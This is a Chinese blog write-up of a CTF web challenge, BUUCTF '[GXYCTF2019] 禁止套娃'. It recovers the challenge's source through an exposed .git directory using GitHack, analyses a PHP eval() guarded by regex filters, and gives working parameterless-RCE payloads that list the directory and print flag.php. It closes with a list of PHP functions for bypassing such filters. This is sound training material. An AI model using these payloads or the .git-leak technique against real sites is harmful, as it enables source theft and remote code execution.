BUUCTF_Web_[GXYCTF2019]禁止套娃

4 篇文章 0 订阅

[GXYCTF2019]禁止套娃

打开靶机:flag在哪里呢?

首先,这道题考查的是.git源码泄露,用GitHack拿到index.php

python3 GitHack.py http://0e64e14f-e49c-4afe-aad4-ca0b15aad88a.node4.buuoj.cn:81/.git
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

分析一下源码:

  • 需要以GET形式传入一个名为exp的参数。如果满足条件会执行这个exp参数的内容。

  • preg_match过滤了伪协议的可能

  • preg_replace的主要功能就是限制我们传输进来的必须时纯小写字母的函数,而且不能携带参数。只能匹配通过无参数的函数。

  • **(?R)**引用当前表达式,后面加了?递归调用。只能匹配通过无参数的函数。

    ?R表示引用正则表达式本身,那么这里允许传入的应该就是下面这种格式

    xxx(xxx(xxx(...)));
    

    但是不能有参数,无参数RCE,查找无参数可利用的函数

    首先,需要一个浏览目录内的所有文件的函数,这个当然首选:scandir()

    当scandir()传入’.’,可以列出当前目录的所有文件

  • 最后一个preg_match正则匹配掉了et/na/info等关键字,很多函数都用不了

  • eval($_GET[‘exp’]):典型的无参数RCE

既然getshell基本不可能,那么考虑读源码,flag应该就在flag.php我们想办法读取

首先需要得到当前目录下的文件,这时候需要用到scandir()函数,例如:

<?php print_r(scandir('.')); ?>

那么问题就是如何构造scandir(’.’)

需要认识一个函数:localeconv() 函数返回一包含本地数字及货币格式信息的数组。而数组第一项就是current() 返回数组中的当前单元, 默认取第一个值。

接下来只需要使得指针指向这个数组内的第一个值

current() 函数返回数组中的当前元素的值。每个数组中都有一个内部的指针指向它的"当前"元素,初始指向插入到数组中的第一个元素。

pos() 函数返回数组中的当前元素的值。该函数是 current() 函数的别名。每个数组中都有一个内部的指针指向它的"当前"元素,初始指向插入到数组中的第一个元素。

?exp=print_r(scandir(current(localeconv())));
?exp=print_r(scandir(pos(localeconv())));?exp=var_dump(scandir(current(localeconv())));
?exp=var_dump(scandir(pos(localeconv())));

在这里插入图片描述

在这里插入图片描述

目录爆出来了,那么接下来该如何操作拿到glag.php的内容呢

这里需要使用到新的函数

next() 函数将内部指针指向数组中的下一个元素,并输出。

array_reverse() 函数返回翻转顺序的数组。

把数组顺序倒一下,然后使用next(),就可以读到flag了

?exp=show_source(next(array_reverse(scandir(current(localeconv())))));
或者
?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));

知识点

  • .git源码泄露

    当前大量开发人员使用git进行版本控制,对站点自动部署。 如果配置不当,可能会将.git文件夹直接部署到线上环境。这就引起了git泄露漏洞。

    GitHack是一个.git泄露利用脚本,通过泄露的.git文件夹下的文件,还原重建工程源代码。

    渗透测试人员、攻击者,可以进一步审计代码,挖掘:文件上传,SQL注射等安全漏洞。

    脚本的工作原理

    1. 解析.git/index文件,找到工程中所有的: ( 文件名,文件sha1 )
    2. 去.git/objects/ 文件夹下下载对应的文件
    3. zlib解压文件,按原始的目录结构写入源代码

    它的优点

    1. 速度快,默认20个工作线程
    2. 尽量还原所有的源代码,缺失一部分文件不影响脚本工作
    3. 脚本不需要执行额外的git命令,All you need is python
    4. 脚本无需浏览目录

    可能的改进

    存在文件被gc打包到git\objects\pack的情况,稍后可测试下看能否直接获取并解压这个文件,还原源代码

    用法示例

    python GitHack.py http://www.baidu.com/.git/
    
  • 无参数RCE

    无参数RCE就类似与在我们经常使用的一句话木马前面,加上了对对参数的过滤,过滤的正则一般类似于一道ctf题目给的这种。

    if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp']){
       eval($_GET['exp']);
       }
    [a-z,_]+ : 匹配小写字母和下划线_ 1次或多次
    \( : 左括号
    (?R) : 代表当前表达式,就是这个(/[a-z,_]+\((?R)?\)/),所以会一直递归
    (?R)? : 递归当前表达式0次或1次
    // (?R)* : 递归当前表达式0次或多次
    \) : 右括号
    
    这个正则只会匹配到
    a();
    a(b());
    a(b(c()));
    带上参数比如system('ls /');是匹配不到的,过不了判断条件,所以我们只能使用没有参数的函数来进行远程代码执行
    

    下面是测试的一些结果:

  1. 首先,这个正则是怎么匹配的呢,顺序是怎么样的
    比如a(b(c()))这个格式的函数匹配的顺序如下:

    整个正则可以分为三部分
    一 [a-z,_]+( 直到递归前面可以看作一个匹配整体
    二 (?R)? 递归部分看作一个匹配整体
    三 ) 递归后面的看作一个匹配整体
    开始匹配,下面是匹配的顺序
    a( //匹配上面第一个匹配整体,然后进入第一次递归
    b( //匹配上面第一个匹配整体,进入第二次递归
    c( //匹配上面第一个匹配整体,进入第三次递归
    //没有匹配第一个匹配整体,递归停止
    ) //匹配第二次递归剩下的表达式,即第三个匹配的整体),
    ) //匹配第一次递归剩下的表达式,即),
    ) //匹配原表达式剩下的表达式,即),

  2. (?R),(?R)?,(?R),(?R)+的区别
    首先,(?R) , (?R)+ 这两个表达式是匹配不到东西的,因为每次匹配的时候都会至少运行一次递归,无法终止,所以匹配不到任何东西。

    (?R)?,递归0次或1次,非贪婪,只能匹配a(b())这种一层套一个函数的。

在这里插入图片描述

(?R)\,递归0次或多次,贪婪,可以匹配a(b(c()d()))
在这里插入图片描述

下面是一些相关函数

数组操作:

   localeconv()函数:返回一包含本地数字及货币格式信息的数组。
   current():返回数组中的当前单元, 默认取第一个值。
   pos():current() 的别名。
   next()函数:将内部指针指向数组中的下一个元素,并输出。
   array_reverse():以相反的元素顺序返回数组。
   array_flip():交换数组中的键和值
   array_rand():从数组中随即取出一个或多个单元
   key():从关联数组中取得键名
   end():将数组的内部指针指向最后一个单元
   each():返回数组中当前的键值对,并将数组指针向前移动一步
   prev():将数组的内部指针倒回一位
   reset():将数组的内部指针只想第一个单元

文件操作:

   scandir():列出 images 目录中的文件和目录。
   readfile():输出一个文件。
   file_get_contents():将整个文件读入一个字符串
   highlight_file()[别名:show_source()]:语法高亮一个文件
   direname():给出一个包含有指向一个文件的全路径的字符串,本函数返回去掉文件名后的目录名。 
   getcwd():取得当前工作目录。
   chdir($directory):将 PHP 的当前目录改为 directory。

读取环境变量:

  get_defined_vars():此函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。
  getenv:获取一个环境变量的值
  localeconv():返回一包含本地数字及货币格式信息的数组,第一个值一直是.
  phpversion():获取当前的PHP版本

会话:

  session_id:获取/设置当前会话 ID
  session_start:启动新会话或者重用现有会话

其它:

  chr():返回指定的字符
  rand():产生一个随机整数
  time():返回当前的 Unix 时间戳
  localtime():取得本地时间
  localtime(time()) 返回一个数组,Array [0] 为一个 0~60 之间的数字
  hex2bin():转换十六进制字符串为二进制字符串
  ceil():进一法取整
  sinh():双曲正弦
  cosh():双曲余弦
  tan():正切
  floor():舍去法取整
  sqrt():平方根
  crypt():单向字符串散列
  hebrevc:将逻辑顺序希伯来文(logical-Hebrew)转换为视觉顺序希伯来文(visual-Hebrew),并且转换换行符
  hebrevc(crypt(arg)) [crypt(serialize(array()))]:可以随机生成一个 hash 值 第一个字符随机是 $(大概率) 或者 .(小概率) 然后通过 ord chr 只取第一个字符
  ord:返回字符串的第一个字符的 ASCII 码值。
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

阿刁〇하

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值